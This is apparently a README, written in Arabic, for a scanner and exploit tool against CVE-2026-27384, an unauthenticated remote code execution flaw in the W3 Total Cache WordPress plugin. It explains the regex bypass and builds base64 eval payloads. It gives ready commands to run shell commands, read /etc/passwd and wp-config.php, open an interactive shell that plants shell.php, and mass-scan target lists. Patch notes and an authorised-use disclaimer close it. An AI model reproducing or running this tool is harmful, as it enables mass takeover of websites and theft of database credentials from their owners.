
ماسح ضوئي آلي واستغلال لـ CVE-2026-27384، وهي ثغرة RCE غير مصادق عليها في W3 Total Cache عبر حقن mfunc/eval(). يتضمن الكشف التلقائي، 48 نوعًا من الحمولات، قشرة تفاعلية، وفحص مجمع.
الإضافة: W3 Total Cache Slug الإضافة:
w3-total-cacheمعرف CVE: CVE-2026-27384 درجة CVSS: 9.8 (حرجة) متجه CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hنوع الثغرة: تنفيذ تعليمات برمجية عشوائية غير موثّق (حقن كود عبرeval()) الإصدارات المتأثرة: <= 2.9.1 الإصدار المُصحَّح: 2.9.2 تاريخ النشر: 24 فبراير 2026 الباحث: CODE WHITE GmbH
ميزة التخزين المؤقت للقطع الديناميكية في إضافة W3 Total Cache (نظام mfunc/mclude)
تقوم بتنفيذ كود PHP مضمن في تعليقات HTML باستخدام eval().
يمكن تجاوز رمز الذي يفترض أن يحمي هذه الميزة، بسبب اجتماع عدة أخطاء برمجية.
W3TC_DYNAMIC_SECURITYالنتيجة: يمكن تنفيذ كود PHP عشوائي على الخادم دون الحاجة إلى مصادقة، فقط بإرسال تعليق في ووردبريس.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-27384 |
| درجة CVSS | 9.8 حرجة |
| النوع | حقن كود → RCE (CWE-94) |
| الإصدار المتأثر | <= 2.9.1 |
| الإصدار المُصحَّح | 2.9.2 |
| المصادقة | غير مطلوبة |
| تفاعل المستخدم | غير مطلوب |
| الشرط المسبق | يجب أن يحتوي W3TC_DYNAMIC_SECURITY على محرف خاص بالتعبير النمطي |
تسمح ميزة التخزين المؤقت للقطع الديناميكية في W3TC للمطورين بتضمين كود PHP في صفحة HTML عبر وسوم تعليق خاصة:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
تقوم W3TC بمعالجة هذه الوسوم عند عرض الصفحة من ذاكرة التخزين المؤقت:
يتم تنفيذ كود PHP المضمن باستخدام eval()، ويُكتب الناتج مكان كتلة التعليق.
preg_quote() (PgCache_ContentGrabber.php)// ضعيف — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ يتم إضافة W3TC_DYNAMIC_SECURITY مباشرة إلى التعبير النمطي
// preg_quote() غير موجود → يعامل الرمز كنمط تعبير نمطي
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
إذا كان الرمز '.' يصبح التعبير <!--\s*mfunc\s*.(.*)--> →
أي محرف واحد يحل محل الرمز.
\s* مقابل \s+| الدالة | النمط | السلوك |
|---|---|---|
_parse_dynamic() — ينفذ | mfunc\s*TOKEN | يقبل 0 مسافة ✅ |
strip_dynamic_fragment_tags_from_string() — ينظف | mfunc\s+TOKEN | يتطلب مسافة واحدة على الأقل ❌ |
الحمولة المهاجمة: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
لا توجد مسافة بين mfunc والرمز
دالة strip: \s+ → لا تتطابق → تبقى الحمولة
التعبير التنفيذي: \s* → يتطابق → يتم تنفيذ eval() ✅
_has_dynamic())// ضعيف — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ فقط التحقق من defined() — لا يوجد فحص empty() أو محارف خاصة
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (محرف خاص بتعبير نمطي — أي محرف)
│
▼
يرسل المهاجم تعليقًا:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
النمط: mfunc\s+[^\s]+ → يتطلب \s+، لا توجد مسافة → تم التجاوز ✅
│
▼
يُحفظ التعليق في قاعدة البيانات، وتُخزن الصفحة في ذاكرة التخزين المؤقت
│
▼
الطلب HTTP الثاني → تقدم W3TC من ذاكرة التخزين المؤقت
_has_dynamic() → mfunc\s*. → 'A' يتطابق → يُرجع true
│
▼
_parse_dynamic() → preg_replace_callback
النمط: mfunc\s*. → 'A' يتطابق
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ RCE غير موثّق ✓
يمكن تنفيذ كود PHP عشوائي على الخادم بصلاحيات خادم الويب دون مصادقة:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| الوضع | الوصف |
|---|---|
auto | فحص الموقع → البحث عن صفحة تعليقات → استغلال (افتراضي) |
exploit | استغلال مباشر — مع رابط الإرسال |
shell | واجهة تفاعلية |
detect | كشف W3TC فقط |
python w3tc_rce.py https://hedef.com
يقوم الماسح بما يلي:
# أمر id
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# قراءة /etc/passwd
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# قراءة wp-config.php
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# معرّف المنشور يدويًا
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
عند فتح الواجهة، يتم تشغيل whoami و hostname و pwd و uname -a تلقائيًا:
=================================================================
CVE-2026-27384 — واجهة W3TC mfunc التفاعلية
الرابط : https://hedef.com/?p=1
الحمولة: b64_shell_exec (bypass='A')
=================================================================
المستخدم : www-data
المضيف : web01.hedef.com
المسار الحالي : /var/www/html
نظام التشغيل : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
الأوامر: exit | upload <محلي> <بعيد> | download <بعيد>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] الرفع: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] التنزيل: wp-config.php → wp-config.php (4821 بايت)
python w3tc_rce.py https://hedef.com --mode detect
[+] تم تثبيت W3TC!
الإصدار : 2.9.1
ذاكرة التخزين المؤقت : True
[!] الإصدار 2.9.1 ضعيف (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| المعامل | المختصر | الوصف | الافتراضي |
|---|---|---|---|
url | — | رابط الهدف المفرد | — |
--list | -l | ملف قائمة الأهداف | — |
--mode | — | وضع العمل | auto |
--cmd | — | الأمر المراد تنفيذه | id |
--post-url | — | رابط الصفحة التي تحتوي على التعليق | — |
--post-id | — | معرف المنشور في ووردبريس | — |
--max-pages | — | أقصى عدد صفحات للزاحف | 50 |
--threads | -t | عدد الخيوط | 10 |
--output | -o | ملف الإخراج | w3tc_results.txt |
--proxy | — | رابط الوكيل | — |
--no-color | — | إخراج بدون ألوان | False |
--verbose | -v | إخراج مفصل | False |
الوسم القياسي (يُلتقط بواسطة strip):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
توجد مسافة → \s+ يتطابق → strip يزيل
وسم التجاوز (يتجاوز strip، يعمل eval()):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
لا توجد مسافة → \s+ لا يتطابق → strip يتجاوز
\s* يتطابق → eval() يعمل
يتم ترميز كود PHP بـ base64 لتجنب مشاكل ترميز HTML:
# الأمر: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| المجموعة | الدالة | محرف التجاوز | الترميز |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | جميع الدوال | A, B, X, 1 | خام |
1. كشف W3TC
└─ readme.txt, header, body, مجلد الإضافة
2. كشف نظام التعليقات
└─ نموذج HTML, REST API, معرف المنشور
3. حقن الحمولة (48 متغيرًا)
├─ REST API: POST /wp-json/wp/v2/comments
└─ نموذج HTML: POST /wp-comments-post.php
4. تحفيز ذاكرة التخزين المؤقت
├─ الطلب الأول → عدم وجود في الذاكرة المؤقتة → عرض الصفحة → التخزين المؤقت
└─ الطلب الثاني → وجود في الذاكرة المؤقتة → _parse_dynamic() → eval()
5. استخراج المخرجات
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] الهدف: https://hedef.com
الزحف: [████████████████████] 100% (50/50) | 8.3/s
[+] صفحة التعليقات: https://hedef.com/?p=1 (post_id=1)
[1] كشف W3TC...
[+] تم العثور على W3TC! الإصدار: 2.9.1
[2] كشف نظام التعليقات...
[+] معرف المنشور: 1 | النموذج: True | REST: True
[3] حقن الحمولة (id)...
[i] 48 متغيرًا من الحمولة جاهزة
[4] تحفيز ذاكرة التخزين المؤقت...
[★] RCE ناجح!
=========================================================
الرابط : https://hedef.com/?p=1
الحمولة : b64_shell_exec (bypass='A')
الأمر : id
المخرجات : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] تم حفظ النتائج → w3tc_results.txt
[?] فتح الواجهة التفاعلية؟ (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] تم العثور على 7 ثغرات!
[+] تم حفظ النتائج → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # الماسح الرئيسي
├── requirements.txt # التبعيات
└── README.md # هذا الملف
| الإجراء | الوصف |
|---|---|
| تحديث الإضافة | الترقية إلى إصدار W3 Total Cache 2.9.2+ |
| تعطيل mfunc | إذا لم يتم تعريف W3TC_DYNAMIC_SECURITY، فلن تعمل الميزة |
| رمز قوي | يجب أن يحتوي الرمز على محارف أبجدية رقمية فقط ([a-zA-Z0-9_]+) |
مثال على رمز آمن (wp-config.php):
// ❌ خطير — محرف خاص بالتعبير النمطي
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ آمن — أبجدي رقمي
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
تصحيح الإصدار 2.9.2 (_parse_dynamic()):
// تم التصحيح — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ تمت إضافة preg_quote
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (مسافة واحدة على الأقل)
...
);
هذه الأداة وإثبات المفهوم (PoC) مصممان للاستخدام فقط على الأنظمة المصرح بها، لأغراض تعليمية وضمن اختبار الاختراق. استخدامها على أنظمة غير مصرح بها يعتبر جريمة بموجب المواد 243-245 من قانون العقوبات التركي وقوانين الجرائم الإلكترونية الدولية. لا يتحمل المطور أي مسؤولية قانونية ناتجة عن إساءة استخدام هذه الأداة.
رخصة MIT — لأغراض التعليم والبحث فقط.